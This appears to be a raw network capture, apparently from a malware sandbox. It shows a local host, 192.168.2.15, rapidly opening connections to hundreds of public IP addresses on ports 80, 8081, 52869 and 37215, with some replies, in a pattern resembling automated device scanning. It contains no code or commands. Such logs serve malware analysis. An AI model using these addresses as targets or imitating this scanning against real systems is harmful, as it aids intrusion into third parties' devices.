Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.252.247.51
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.110.242.79
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.189.157.198
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.57.32.244
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.23.141.87
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.188.224.202
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.47.1.111
Jul 20, 2024 23:10:39.562650919 CEST	58774	80	192.168.2.15	95.169.118.98
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.48.94.30
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.158.148.205
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.247.115.0
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.138.45.39
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.219.218.91
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.128.115.38
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.113.38.43
Jul 20, 2024 23:10:39.562894106 CEST	58774	80	192.168.2.15	95.116.190.69
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.66.155.255
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.29.130.67
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.245.19.7
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.131.226.44
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.0.101.232
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.2.120.16
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.83.248.233
Jul 20, 2024 23:10:39.563313007 CEST	58774	80	192.168.2.15	95.197.1.54
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.102.87.198
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.178.45.211
Jul 20, 2024 23:10:39.563581944 CEST	53288	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:39.563581944 CEST	33360	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.75.220.219
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.143.251.31
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.158.194.108
Jul 20, 2024 23:10:39.563581944 CEST	58774	80	192.168.2.15	95.161.59.55
Jul 20, 2024 23:10:39.563827991 CEST	80	58774	95.202.171.98	192.168.2.15
Jul 20, 2024 23:10:39.563838959 CEST	8081	54888	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:39.563848019 CEST	80	58774	95.15.248.105	192.168.2.15
Jul 20, 2024 23:10:39.563858032 CEST	80	58774	95.57.116.97	192.168.2.15
Jul 20, 2024 23:10:39.564377069 CEST	80	58774	95.178.9.128	192.168.2.15
Jul 20, 2024 23:10:39.564718962 CEST	80	58774	95.29.155.76	192.168.2.15
Jul 20, 2024 23:10:39.564805984 CEST	80	58774	95.206.145.35	192.168.2.15
Jul 20, 2024 23:10:39.564886093 CEST	80	58774	95.142.36.36	192.168.2.15
Jul 20, 2024 23:10:39.565157890 CEST	52869	60906	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:39.565227032 CEST	80	58774	95.176.161.157	192.168.2.15
Jul 20, 2024 23:10:39.565305948 CEST	80	59184	88.185.132.47	192.168.2.15
Jul 20, 2024 23:10:39.565680981 CEST	80	58774	95.165.135.232	192.168.2.15
Jul 20, 2024 23:10:39.565696955 CEST	80	58774	95.96.164.5	192.168.2.15
Jul 20, 2024 23:10:39.565706015 CEST	80	58774	95.69.91.164	192.168.2.15
Jul 20, 2024 23:10:39.566036940 CEST	80	58774	95.74.131.221	192.168.2.15
Jul 20, 2024 23:10:39.566260099 CEST	80	58774	95.219.72.75	192.168.2.15
Jul 20, 2024 23:10:39.566493988 CEST	80	58774	95.24.221.92	192.168.2.15
Jul 20, 2024 23:10:39.566575050 CEST	58774	80	192.168.2.15	95.221.62.239
Jul 20, 2024 23:10:39.566575050 CEST	58774	80	192.168.2.15	95.80.185.46
Jul 20, 2024 23:10:39.566575050 CEST	58774	80	192.168.2.15	95.225.30.139
Jul 20, 2024 23:10:39.566575050 CEST	58774	80	192.168.2.15	95.82.24.131
Jul 20, 2024 23:10:39.566591024 CEST	80	58774	95.110.245.182	192.168.2.15
Jul 20, 2024 23:10:39.567303896 CEST	80	58774	95.137.77.53	192.168.2.15
Jul 20, 2024 23:10:39.567514896 CEST	80	58774	95.105.218.215	192.168.2.15
Jul 20, 2024 23:10:39.567898035 CEST	80	58774	95.217.253.2	192.168.2.15
Jul 20, 2024 23:10:39.568113089 CEST	80	58774	95.48.94.30	192.168.2.15
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.100.51.92
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.32.218.143
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.135.91.157
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.140.42.36
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.11.41.174
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.20.54.2
Jul 20, 2024 23:10:39.568191051 CEST	54888	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:39.568191051 CEST	58774	80	192.168.2.15	95.57.116.97
Jul 20, 2024 23:10:39.568279982 CEST	80	58774	95.155.192.126	192.168.2.15
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.233.19.35
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.221.230.229
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.227.134.103
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.52.230.104
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.69.28.240
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.252.33.235
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.64.131.39
Jul 20, 2024 23:10:39.568305969 CEST	58774	80	192.168.2.15	95.133.225.196
Jul 20, 2024 23:10:39.568399906 CEST	80	58774	95.252.247.51	192.168.2.15
Jul 20, 2024 23:10:39.568593025 CEST	80	58774	95.83.212.152	192.168.2.15
Jul 20, 2024 23:10:39.568603992 CEST	80	58774	95.158.148.205	192.168.2.15
Jul 20, 2024 23:10:39.568907976 CEST	80	58774	95.247.115.0	192.168.2.15
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.47.39.115
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.74.152.141
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.132.14.46
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.148.95.154
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.112.104.244
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.39.248.31
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.128.74.59
Jul 20, 2024 23:10:39.568977118 CEST	58774	80	192.168.2.15	95.249.65.78
Jul 20, 2024 23:10:39.569262028 CEST	8081	53874	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:39.569272041 CEST	80	58774	95.110.242.79	192.168.2.15
Jul 20, 2024 23:10:39.569324970 CEST	80	58774	95.66.155.255	192.168.2.15
Jul 20, 2024 23:10:39.569408894 CEST	80	58774	95.102.87.198	192.168.2.15
Jul 20, 2024 23:10:39.569418907 CEST	80	58774	95.29.130.67	192.168.2.15
Jul 20, 2024 23:10:39.569750071 CEST	80	58774	95.178.45.211	192.168.2.15
Jul 20, 2024 23:10:39.570508957 CEST	80	58774	95.189.157.198	192.168.2.15
Jul 20, 2024 23:10:39.570719957 CEST	80	58774	95.57.32.244	192.168.2.15
Jul 20, 2024 23:10:39.570734024 CEST	80	58774	95.138.45.39	192.168.2.15
Jul 20, 2024 23:10:39.571046114 CEST	80	58774	95.245.19.7	192.168.2.15
Jul 20, 2024 23:10:39.571151972 CEST	58774	80	192.168.2.15	95.148.113.11
Jul 20, 2024 23:10:39.571151972 CEST	58774	80	192.168.2.15	95.174.73.73
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.66.156.7
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.52.99.148
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.40.235.164
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.229.128.226
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.38.223.49
Jul 20, 2024 23:10:39.571152925 CEST	58774	80	192.168.2.15	95.21.219.205
Jul 20, 2024 23:10:39.571707010 CEST	80	58774	95.23.141.87	192.168.2.15
Jul 20, 2024 23:10:39.571717024 CEST	80	58774	95.219.218.91	192.168.2.15
Jul 20, 2024 23:10:39.571837902 CEST	80	58774	95.188.224.202	192.168.2.15
Jul 20, 2024 23:10:39.571887016 CEST	80	58774	95.128.115.38	192.168.2.15
Jul 20, 2024 23:10:39.571974993 CEST	80	58774	95.131.226.44	192.168.2.15
Jul 20, 2024 23:10:39.572098970 CEST	80	58774	95.47.1.111	192.168.2.15
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.112.191.163
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.246.31.62
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.166.45.151
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.28.45.10
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.210.73.23
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.69.91.164
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.219.72.75
Jul 20, 2024 23:10:39.572190046 CEST	58774	80	192.168.2.15	95.155.192.126
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.206.145.35
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.165.135.232
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.74.131.221
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.105.218.215
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.252.247.51
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.110.242.79
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.189.157.198
Jul 20, 2024 23:10:39.572417021 CEST	58774	80	192.168.2.15	95.57.32.244
Jul 20, 2024 23:10:39.572428942 CEST	80	58774	95.0.101.232	192.168.2.15
Jul 20, 2024 23:10:39.572448969 CEST	80	58774	95.113.38.43	192.168.2.15
Jul 20, 2024 23:10:39.573296070 CEST	80	58774	95.169.118.98	192.168.2.15
Jul 20, 2024 23:10:39.573707104 CEST	80	58774	95.100.51.92	192.168.2.15
Jul 20, 2024 23:10:39.573791981 CEST	80	58774	95.116.190.69	192.168.2.15
Jul 20, 2024 23:10:39.573951960 CEST	80	58774	95.32.218.143	192.168.2.15
Jul 20, 2024 23:10:39.574143887 CEST	80	58774	95.47.39.115	192.168.2.15
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.3.91.177
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.148.78.203
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.3.240.129
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.202.171.98
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.15.248.105
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.29.155.76
Jul 20, 2024 23:10:39.574435949 CEST	58774	80	192.168.2.15	95.142.36.36
Jul 20, 2024 23:10:39.574723005 CEST	80	58774	95.135.91.157	192.168.2.15
Jul 20, 2024 23:10:39.574958086 CEST	80	58774	95.140.42.36	192.168.2.15
Jul 20, 2024 23:10:39.575146914 CEST	80	58774	95.2.120.16	192.168.2.15
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.53.136.89
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.71.228.217
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.128.27.103
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.141.0.196
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.96.164.5
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.24.221.92
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.137.77.53
Jul 20, 2024 23:10:39.575450897 CEST	58774	80	192.168.2.15	95.217.253.2
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.5.146.254
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.214.91.201
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.155.255.112
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.156.123.132
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.178.9.128
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.176.161.157
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.110.245.182
Jul 20, 2024 23:10:39.575609922 CEST	58774	80	192.168.2.15	95.83.212.152
Jul 20, 2024 23:10:39.575795889 CEST	80	58774	95.83.248.233	192.168.2.15
Jul 20, 2024 23:10:39.575805902 CEST	80	58774	95.11.41.174	192.168.2.15
Jul 20, 2024 23:10:39.576423883 CEST	80	58774	95.20.54.2	192.168.2.15
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.66.155.255
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.29.130.67
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.245.19.7
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.131.226.44
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.0.101.232
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.2.120.16
Jul 20, 2024 23:10:39.576775074 CEST	58774	80	192.168.2.15	95.83.248.233
Jul 20, 2024 23:10:39.576858044 CEST	80	58774	95.74.152.141	192.168.2.15
Jul 20, 2024 23:10:39.577167034 CEST	80	58774	95.197.1.54	192.168.2.15
Jul 20, 2024 23:10:39.577539921 CEST	80	58774	95.112.191.163	192.168.2.15
Jul 20, 2024 23:10:39.577905893 CEST	80	58774	95.132.14.46	192.168.2.15
Jul 20, 2024 23:10:39.578120947 CEST	80	58774	95.148.95.154	192.168.2.15
Jul 20, 2024 23:10:39.578461885 CEST	80	58774	95.246.31.62	192.168.2.15
Jul 20, 2024 23:10:39.578517914 CEST	80	58774	95.166.45.151	192.168.2.15
Jul 20, 2024 23:10:39.578567028 CEST	58774	80	192.168.2.15	95.102.87.198
Jul 20, 2024 23:10:39.578567028 CEST	58774	80	192.168.2.15	95.178.45.211
Jul 20, 2024 23:10:39.578819990 CEST	80	58774	95.112.104.244	192.168.2.15
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.23.141.87
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.188.224.202
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.47.1.111
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.169.118.98
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.100.51.92
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.32.218.143
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.135.91.157
Jul 20, 2024 23:10:39.578907967 CEST	58774	80	192.168.2.15	95.140.42.36
Jul 20, 2024 23:10:39.579109907 CEST	80	58774	95.39.248.31	192.168.2.15
Jul 20, 2024 23:10:39.579216003 CEST	80	58774	95.28.45.10	192.168.2.15
Jul 20, 2024 23:10:39.579406023 CEST	56460	37215	192.168.2.15	223.170.119.134
Jul 20, 2024 23:10:39.579648018 CEST	80	58774	95.210.73.23	192.168.2.15
Jul 20, 2024 23:10:39.579659939 CEST	80	58774	95.128.74.59	192.168.2.15
Jul 20, 2024 23:10:39.580456972 CEST	80	58774	95.249.65.78	192.168.2.15
Jul 20, 2024 23:10:39.580773115 CEST	47204	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:39.580774069 CEST	47204	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.197.1.54
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.112.191.163
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.246.31.62
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.166.45.151
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.28.45.10
Jul 20, 2024 23:10:39.581157923 CEST	58774	80	192.168.2.15	95.210.73.23
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.48.94.30
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.158.148.205
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.247.115.0
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.138.45.39
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.219.218.91
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.128.115.38
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.113.38.43
Jul 20, 2024 23:10:39.581274033 CEST	58774	80	192.168.2.15	95.116.190.69
Jul 20, 2024 23:10:39.582647085 CEST	58774	80	192.168.2.15	95.11.41.174
Jul 20, 2024 23:10:39.582647085 CEST	58774	80	192.168.2.15	95.20.54.2
Jul 20, 2024 23:10:39.583089113 CEST	80	58774	95.53.136.89	192.168.2.15
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.47.39.115
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.74.152.141
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.132.14.46
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.148.95.154
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.112.104.244
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.39.248.31
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.128.74.59
Jul 20, 2024 23:10:39.583424091 CEST	58774	80	192.168.2.15	95.249.65.78
Jul 20, 2024 23:10:39.583853006 CEST	80	58774	95.71.228.217	192.168.2.15
Jul 20, 2024 23:10:39.583935976 CEST	58774	80	192.168.2.15	95.53.136.89
Jul 20, 2024 23:10:39.583935976 CEST	58774	80	192.168.2.15	95.71.228.217
Jul 20, 2024 23:10:39.584146023 CEST	80	58774	95.128.27.103	192.168.2.15
Jul 20, 2024 23:10:39.584192991 CEST	60256	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:39.584197998 CEST	58774	80	192.168.2.15	95.128.27.103
Jul 20, 2024 23:10:39.584346056 CEST	80	58774	95.141.0.196	192.168.2.15
Jul 20, 2024 23:10:39.584419012 CEST	58774	80	192.168.2.15	95.141.0.196
Jul 20, 2024 23:10:39.584479094 CEST	48218	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:39.584508896 CEST	37215	56460	223.170.119.134	192.168.2.15
Jul 20, 2024 23:10:39.584553003 CEST	56460	37215	192.168.2.15	223.170.119.134
Jul 20, 2024 23:10:39.584903002 CEST	38600	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:39.585017920 CEST	38600	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:39.585984945 CEST	8081	47204	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:39.587281942 CEST	54002	37215	192.168.2.15	69.184.161.116
Jul 20, 2024 23:10:39.588190079 CEST	52678	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:39.588190079 CEST	52678	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:39.589709044 CEST	80	60256	88.185.132.47	192.168.2.15
Jul 20, 2024 23:10:39.589756966 CEST	60256	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:39.590002060 CEST	53688	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:39.590044975 CEST	39290	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:39.590830088 CEST	39574	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:39.590830088 CEST	39574	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:39.591145039 CEST	8081	48218	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:39.591155052 CEST	52869	38600	217.58.36.234	192.168.2.15
Jul 20, 2024 23:10:39.591212034 CEST	48218	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:39.593291044 CEST	59540	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:39.593291044 CEST	59540	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:39.593614101 CEST	37215	54002	69.184.161.116	192.168.2.15
Jul 20, 2024 23:10:39.593674898 CEST	45588	37215	192.168.2.15	41.182.40.219
Jul 20, 2024 23:10:39.593683004 CEST	54002	37215	192.168.2.15	69.184.161.116
Jul 20, 2024 23:10:39.594415903 CEST	8081	52678	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:39.596647978 CEST	8081	53688	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:39.596705914 CEST	53688	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:39.596712112 CEST	40650	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:39.597002983 CEST	52869	39290	217.58.36.234	192.168.2.15
Jul 20, 2024 23:10:39.597042084 CEST	39290	52869	192.168.2.15	217.58.36.234
Jul 20, 2024 23:10:39.597045898 CEST	60550	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:39.597366095 CEST	52370	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:39.597367048 CEST	52370	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:39.597836971 CEST	80	39574	88.27.3.47	192.168.2.15
Jul 20, 2024 23:10:39.599244118 CEST	8081	59540	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:39.600625038 CEST	37215	45588	41.182.40.219	192.168.2.15
Jul 20, 2024 23:10:39.600768089 CEST	45588	37215	192.168.2.15	41.182.40.219
Jul 20, 2024 23:10:39.602005959 CEST	40766	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:39.602005959 CEST	40766	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:39.602749109 CEST	55746	37215	192.168.2.15	41.46.35.223
Jul 20, 2024 23:10:39.603923082 CEST	8081	60550	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:39.604023933 CEST	60550	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:39.604551077 CEST	80	40650	88.27.3.47	192.168.2.15
Jul 20, 2024 23:10:39.604614019 CEST	41772	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:39.604628086 CEST	52869	52370	113.59.43.68	192.168.2.15
Jul 20, 2024 23:10:39.604636908 CEST	40650	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:39.604918957 CEST	53064	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:39.606522083 CEST	59410	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:39.606522083 CEST	59410	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:39.608153105 CEST	8081	40766	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:39.609262943 CEST	80	59184	88.185.132.47	192.168.2.15
Jul 20, 2024 23:10:39.609843969 CEST	37215	55746	41.46.35.223	192.168.2.15
Jul 20, 2024 23:10:39.609911919 CEST	55746	37215	192.168.2.15	41.46.35.223
Jul 20, 2024 23:10:39.610150099 CEST	52554	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:39.610150099 CEST	52554	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:39.610359907 CEST	8081	41772	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:39.610483885 CEST	41772	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:39.612626076 CEST	52869	53064	113.59.43.68	192.168.2.15
Jul 20, 2024 23:10:39.612677097 CEST	53064	52869	192.168.2.15	113.59.43.68
Jul 20, 2024 23:10:39.613262892 CEST	58132	37215	192.168.2.15	157.190.1.139
Jul 20, 2024 23:10:39.613729954 CEST	80	59410	88.157.99.146	192.168.2.15
Jul 20, 2024 23:10:39.614765882 CEST	60490	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:39.615091085 CEST	53560	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:39.615298033 CEST	8081	52554	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:39.615804911 CEST	37090	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:39.615804911 CEST	37090	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:39.618689060 CEST	37215	58132	157.190.1.139	192.168.2.15
Jul 20, 2024 23:10:39.618729115 CEST	58132	37215	192.168.2.15	157.190.1.139
Jul 20, 2024 23:10:39.620417118 CEST	42094	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:39.620417118 CEST	42094	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:39.620594025 CEST	80	60490	88.157.99.146	192.168.2.15
Jul 20, 2024 23:10:39.620654106 CEST	60490	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:39.621221066 CEST	8081	53560	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:39.621311903 CEST	53560	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:39.621824980 CEST	52869	37090	44.227.239.111	192.168.2.15
Jul 20, 2024 23:10:39.622540951 CEST	43096	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:39.622725964 CEST	37786	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:39.623269081 CEST	47566	37215	192.168.2.15	197.32.38.129
Jul 20, 2024 23:10:39.624628067 CEST	56678	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:39.624628067 CEST	56678	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:39.625703096 CEST	8081	42094	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:39.627357960 CEST	37116	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:39.627357960 CEST	37116	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:39.628593922 CEST	8081	43096	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:39.628650904 CEST	52869	37786	44.227.239.111	192.168.2.15
Jul 20, 2024 23:10:39.628668070 CEST	37215	47566	197.32.38.129	192.168.2.15
Jul 20, 2024 23:10:39.628678083 CEST	43096	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:39.628710032 CEST	47566	37215	192.168.2.15	197.32.38.129
Jul 20, 2024 23:10:39.628722906 CEST	37786	52869	192.168.2.15	44.227.239.111
Jul 20, 2024 23:10:39.629235983 CEST	8081	47204	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:39.629556894 CEST	80	56678	88.181.133.134	192.168.2.15
Jul 20, 2024 23:10:39.632607937 CEST	8081	37116	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:39.633208990 CEST	52869	38600	217.58.36.234	192.168.2.15
Jul 20, 2024 23:10:39.636130095 CEST	57760	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:39.636233091 CEST	38118	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:39.636518955 CEST	58808	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:39.636518955 CEST	58808	52869	192.168.2.15	8.28.61.99
Jul 20, 2024 23:10:39.636624098 CEST	56962	37215	192.168.2.15	157.50.118.84
Jul 20, 2024 23:10:39.637209892 CEST	8081	52678	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:39.641278028 CEST	8081	59540	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:39.641339064 CEST	80	39574	88.27.3.47	192.168.2.15
Jul 20, 2024 23:10:39.641513109 CEST	80	57760	88.181.133.134	192.168.2.15
Jul 20, 2024 23:10:39.641566992 CEST	57760	80	192.168.2.15	88.181.133.134
